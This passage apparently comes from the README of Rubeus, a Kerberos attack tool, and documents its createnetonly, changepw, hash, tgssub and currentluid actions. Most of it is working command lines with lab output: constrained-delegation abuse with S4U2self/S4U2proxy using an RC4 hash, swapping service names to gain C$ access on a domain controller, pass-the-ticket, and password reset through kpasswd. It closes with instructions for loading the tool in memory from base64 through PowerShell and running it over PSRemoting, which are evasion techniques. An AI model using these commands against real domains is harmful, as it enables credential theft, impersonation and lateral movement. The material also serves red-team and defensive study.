The createnetonly action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:0xA.. parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.
Create a hidden upnpcont.exe process:
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\upnpcont.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9936
[+] LUID : 0x4a0717f
Create a visible command prompt:
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : True
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 5352
[+] LUID : 0x4a091c0
The changepw action will take a user's TGT .kirbi blog and execute a MS kpasswd password change with the specified /new:PASSWORD value. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic. This is the Aorato Kerberos password reset disclosed in 2014, and is equivalent to Kekeo's misc::changepw function.
You can retrieve a TGT blob using the asktgt command.
C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new:Password123!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Reset User Password (AoratoPw)
[*] Changing password for user: [email protected]
[*] New password value: Password123!
[*] Building AP-REQ for the MS Kpassword request
[*] Building Authenticator with encryption key type: rc4_hmac
[*] base64(session subkey): nX2FOQ3RsGxoI8uqIg1zlg==
[*] Building the KRV-PRIV structure
[*] Connecting to 192.168.52.100:464
[*] Sent 1347 bytes
[*] Received 167 bytes
[+] Password change success!
The hash action will take a /password:X and optional /user:USER and/or /domain:DOMAIN. It will generate the rc4_hmac (NTLM) representation of the password using @gentilkiwi's kerberos:hash (KERB_ECRYPT HashPassword) approach. If user and domain names are specified, the aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hash forms are generated. The user and domain names are used as salts for the AES and DES implementations.
Calculating the rc4_hmac of a password:
C:\Rubeus>Rubeus.exe hash /password:Password123!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.0
[*] Action: Calculate Password Hashes
[*] Input password : Password123!
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
Calculating all hash formats:
C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.0
[*] Action: Calculate Password Hashes
[*] Input password : Password123!
[*] Input username : harmj0y
[*] Input domain : testlab.local
[*] Salt : TESTLAB.LOCALharmj0y
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531
[*] aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287
[*] des_cbc_md5 : 614589E66D6B3792
The tgssub action will take a service ticket base64 blob/file specification and substitute an alternate service name into the ticket. This is useful for S4U abuse and other scenarios.
The /altservice:X flag is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's post on the topic for more information.
The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:0xA.. flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.
Executing the S4U2self/S4U2proxy proces to abuse traditional constrained delegation, and replacing the sname in the final ticket. This is so you don't have to execute the S4U process for a second time:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local /impersonateuser:harmj0y /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to '[email protected]'
[*] base64(ticket.kirbi):
doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)...
[*] Impersonating user 'harmj0y' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Service Ticket sname Substitution
[*] Substituting in alternate service name: cifs
[*] base64(ticket.kirbi):
doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Describe Ticket
UserName : [email protected]
UserRealm : TESTLAB.LOCAL
ServiceName : cifs/PRIMARY.testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 3/1/2019 12:51:06 PM
EndTime : 3/1/2019 5:51:06 PM
RenewTill : 3/8/2019 12:51:06 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes128_cts_hmac_sha1
Base64(key) : yxQVMhl0qn3P0wUUC4KnGQ==
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
07/21/2018 07:41 PM 9 out.txt
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,463,851,520 bytes free
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0x6de14
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
Server Name : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
Server Name : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Executing S4U2self to a machine using its machine account hash, substituting in the service names we want to abuse after:
C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 46b910dbe4514bd144b44cb554c256db
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\primary$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFIDCCBRygAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: '[email protected]'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to '[email protected]'
[*] base64(ticket.kirbi):
doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Describe Ticket
UserName : [email protected]
UserRealm : TESTLAB.LOCAL
ServiceName : primary$
ServiceRealm : TESTLAB.LOCAL
StartTime : 3/1/2019 12:43:56 PM
EndTime : 3/1/2019 5:43:56 PM
RenewTill : 3/8/2019 12:43:56 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType : aes256_cts_hmac_sha1
Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=
[!] Service ticket uses encryption key type 'aes256_cts_hmac_sha1', unable to extract hash and salt.
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
Luid: 0x0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Service Ticket sname Substitution
[*] Substituting in alternate service name: cifs/primary.testlab.local
[*] base64(ticket.kirbi):
doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)...
[*] Action: Describe Ticket
UserName : [email protected]
UserRealm : TESTLAB.LOCAL
ServiceName : cifs/primary.testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 3/1/2019 12:43:56 PM
EndTime : 3/1/2019 5:43:56 PM
RenewTill : 3/8/2019 12:43:56 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType : aes256_cts_hmac_sha1
Base64(key) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,462,831,616 bytes free
The currentluid action will display the current user's logon ID (LUID).
C:\Rubeus>Rubeus.exe currentluid
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Display current LUID
[*] Current LogonID (LUID) : 0x121078 (1183864)
We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
Rubeus has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.
Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to Project -> Rubeus Properties and change the "Target framework" to another version.
To build Rubeus as a library, under Project -> Rubeus Properties -> change Output type to Class Library. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways:
// pass the Main method the arguments you want
Rubeus.Program.Main("dump /luid:3050142".Split());
// or invoke specific functionality manually
Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());
You can then use ILMerge to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file.
If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt
Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string):
$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows:
[Rubeus.Program]::Main("dump /user:administrator".Split())
Or individual functions can be invoked:
$TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET')
# start mmc.exe as netonly, not-hidden
$LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true)
# apply the ticket to mmc's logon session
[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Rubeus has a function to help with that.
If you follow the instructions in Sidenote: Running Rubeus Through PowerShell to create a Rubeus.ps1, append something like the following to the script:
[Rubeus.Program]::MainString("triage")
You should then be able to run Rubeus over PSRemoting with something like the following:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1
Alternatively, Rubeus' /consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.